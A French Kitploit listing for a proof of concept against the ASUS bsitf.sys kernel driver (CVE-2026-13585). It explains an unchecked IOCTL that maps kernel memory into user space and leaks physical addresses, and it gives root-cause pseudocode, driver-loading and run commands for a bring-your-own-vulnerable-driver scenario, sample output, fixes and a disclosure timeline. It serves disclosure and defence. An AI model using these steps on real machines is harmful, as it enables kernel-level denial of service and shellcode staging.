Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/416rehman/asus-bsitf-0-day-poc
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationSécurité MatérielleExploitation de Binaires
GitHub416rehman/asus-bsitf-0-day-poc

asus-bsitf-0-day-poc

PoC pour CVE-2026-13585

Voir le dépôt
52il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

POC - Mappage mémoire noyau vers espace utilisateur de ASUS bsitf.sys

CVE-2026-13585

Résumé

Le pilote noyau ASUS bsitf.sys (également distribué sous le nom AsusBSItf.sys) expose l'IOCTL 0x222808 qui alloue de la mémoire noyau physiquement contiguë d'une taille contrôlée par l'attaquant, la mappe dans l'espace d'adressage du processus appelant avec des permissions de lecture/écriture complètes, et renvoie à la fois l'adresse virtuelle en mode utilisateur et l'adresse physique à l'appelant.

Le périphérique nécessite des privilèges administrateur pour être ouvert, ce qui en fait une escalade admin vers noyau. Dans un scénario BYOVD (Bring Your Own Vulnerable Driver), un attaquant qui possède déjà les droits admin (par exemple via de l'ingénierie sociale ou une exploitation séparée) peut charger ce pilote signé légitimement pour obtenir un accès arbitraire à la mémoire noyau sans avoir besoin d'une exploitation du noyau.

Versions affectées

VersionNom de fichierPackageType de pool
3.0.10.0bsitf.sysASUS Business Manager / AbmSvcPackageNonPagedPool (exécutable)
3.1.10.0AsusBSItf.sysASUS SCI / AsusSoftwareManagerNonPagedPoolNx
3.1.25.0AsusBSItf.sysASUS SCI / AsusSoftwareManagerNonPagedPoolNx

Toutes les versions créent le périphérique \Device\bsitf avec le lien symbolique \DosDevices\bsitf.

Impact

Le tampon mappé est une nouvelle allocation du pool noyau, pas une adresse noyau arbitraire. L'appelant contrôle son contenu mais pas son emplacement. Cela limite l'exploitation par rapport à une véritable lecture/écriture noyau arbitraire.

  • Épuisement du pool noyau (DoS) — des allocations répétées sans libérer épuiseront le NonPagedPool, provoquant un BSOD. Aucune limite de taille ou d'allocation n'est appliquée.
  • Divulgation d'adresse physique — l'IOCTL renvoie l'adresse physique de chaque allocation, utile comme fuite d'informations ou pour des attaques basées sur le DMA.
  • Mise en scène de mémoire noyau exécutable (v3.0.x uniquement) — sur la version 3.0.10.0, le type de pool est NonPagedPool (exécutable). Du shellcode peut être écrit depuis l'espace utilisateur dans le tampon mappé, mais une vulnérabilité séparée est nécessaire pour rediriger l'exécution du noyau vers l'adresse du tampon.

Sur les versions v3.1.x (NonPagedPoolNx), le tampon est non exécutable et l'impact pratique est limité au DoS et à la divulgation d'adresse physique.

Cause racine

L'IOCTL 0x222808 dans le gestionnaire de distribution effectue ce qui suit sans validation d'entrée :

root@kitploit:~
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer;  // user-controlled

kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);

output[0] = user_va;        // usermode virtual address
output[1] = physical_addr;  // physical address of allocation

Aucune vérification sur la taille d'allocation, le nombre d'allocations en cours ou la validation d'entrée. Le périphérique nécessite admin pour être ouvert, mais une fois qu'un handle est acquis, les IOCTL ne sont pas limités.

Preuve de concept

Construction

root@kitploit:~
cargo build --release

Charger le pilote

root@kitploit:~
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf

Exécution

root@kitploit:~
# allocation par défaut : 0x1000 (4 Ko)
cargo run --release

# taille personnalisée (hex)
cargo run --release -- 10000

Sortie attendue

root@kitploit:~
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000

[+] device handle acquired

[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
    usermode VA:     0x000001D856F90000
    physical addr:   0x00000000BF6CB000

[*] original contents (first 16 bytes):
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED

[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully

Testé sur Windows 11 24H2 (nécessite administrateur).

Correction

  1. Valider la taille d'allocation avec une limite supérieure raisonnable
  2. Limiter le nombre d'allocations en cours par handle
  3. Ne pas mapper les allocations noyau dans l'espace d'adressage utilisateur
  4. Ne pas renvoyer les adresses physiques aux appelants en mode utilisateur
  5. Utiliser NonPagedPoolNx sur toutes les versions

Chronologie

DateÉvénement
2026-04-06Vulnérabilité découverte via analyse automatisée
2026-04-06PoC confirmé sur Windows 11 24H2
2026-04-06Rapport soumis à ASUS PSIRT

Références

  • CWE-782 : IOCTL exposé avec contrôle d'accès insuffisant
  • Périphérique : \Device\bsitf, Lien symbolique : \DosDevices\bsitf
  • Gestionnaire de distribution : FUN_140001070

Avertissement

Cette preuve de concept est fournie uniquement à des fins de recherche en sécurité autorisée et de divulgation responsable. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.

Télécharger l’outil